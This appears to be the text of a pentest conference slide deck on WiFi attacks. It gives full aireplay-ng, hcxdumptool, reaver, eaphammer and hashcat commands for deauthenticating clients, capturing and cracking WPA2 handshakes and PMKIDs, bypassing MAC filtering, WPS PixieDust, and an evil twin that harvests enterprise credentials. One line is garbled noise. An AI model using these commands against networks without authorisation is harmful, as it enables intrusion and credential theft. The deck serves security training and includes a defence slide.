
Classic of WiFi pentest
Ivashchenko Sergey, aka Mut4b0r 
Pentester, Jet Infosystems

Moscow, August 26, 2022

Evgeny Artemyev  
Pentester, Jet Infosystems



Hardware
l Adapters AWUS036NHA

AWUS036ACH AWUS036ACHM 
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Hardware
ALFA ARS N19

ALFA APA-M25

l Antenna
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Recon
airodump-ng wlan1 -W
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WPA2 & Hidden Network
+ Allways (almost) can capture handshake

- Need clients

- Need brute (Cannot brute If password strong)
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WPA2 & Hidden Network
Take handshake & disclose hidden AP

Capture packets:

airodump-ng -c 1 wlan0 --bssid DE:AD:BE:EF:38:04 -w hidden

Disconnect clients:

aireplay-ng -0 10 -c DC:A6:32:4A:ED:4B -a DE:AD:BE:EF:38:04 wlan0
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OFFLINE CRACK WPA 
HANDSHAKE

CPU:

aircrack-ng ./hidden.cap -w /usr/share/dict/wordlist-probable.txt

GPU:

Convert pcap: hcxpcapngtool -o  hash.22000 hidden.cap

Crack hashes: hashcat -m 22000 ./hash.22000 -a 0 /usr/share/dict/wordlist-probable.txt
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l MAC Filtration
1. Recon

2. Change wlan MAC

ifconfig wlan0 down

macchanger wlan0 -m DC:A6:32:4A:ED:4B

ifconfig wlan0 up

3. Disconnect client:

aireplay-ng --deauth 30 -c DC:A6:32:4A:ED:4B -a DE:AD:BE:EF:38:04 wlan1

4. Connect to network
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PMKID

+ no need clients;

+ no need capture full handshake;

+ Simple stored output – hex string;

- AP must support 802.11r
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PMKID
Capture → Convert → Brute
1. hcxdumptool -i wlan1 -o target_net --enable_status=1 -c 5

2. hcxpcaptool -z target_net.16800 ./target_net

3. hashcat -m 16800 ./target_net.16800 -w 4 /usr/share/dict/wordlist-probable.txt
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WPS

* PinBrute
* Nullpin
* Pin from DB
* PixieDust
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WPS
PixieDust

Recon:

wash -i wlan1

Hack:

reaver -i wlan1 -b 28:28:5D:68:56:12 -c 6 -K -N -vv

+ Fast (maybe < 10 sek)

+ No need clients

+ Still Widespread Vulnerability

28:28:5D:68:56:12 28:28:5D:68:56:12 28:28:5D:68:56:12 
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WPA2-Enterprise

+ Common misconfig

+ In some case can capture password in plain text 

+ If capture/brute creds (login:password) – we have domain user access in network

- Need brute

- Need client
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WPA2-Enterprise
1. Start Evil Twin:
./eaphammer -e 'DC_WIFI_LAB_4' -b DE:AD:BE:EF:00:05 -i wlan1 --channel 6 --negotiate weakest --creds

2. Disconect client
aireplay-ng --deauth 9 -c 98:DE:D0:1A:8C:FD -a DE:AD:BE:EF:00:06 wlan0

3. Capture creds
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WPA2-Enterprise

Crack hash:

Save dornan::::1d057de6f298c3d42da2cbf7573a4c42c0e0dc7286624f34:e323e815a8efd05f to file hash.txt

hashcat -m 5500 ./hash.txt -w 4 /usr/share/dict/wordlist-probable.txt

!"#!$"%&'(&))**&+,!"#!-!$&'.&/&,0#1,#!"12,34$%,.51364#%'7158"862+%9%
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How to Defence?

l Turn OFF WPS

l WPA2-Personal — use strong password

l WPA2-Enterprise — use certificates on client devices
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l airodump-ng

l hcxpcapngtool

l mdk4

l john

l hashcat

l bettercap

l wash

l reaver

l bully

l airgeddon

l hostapd-wpe

l Eaphammer

https://github.com/koutto/pi-pwnbox-rogueap/wiki/




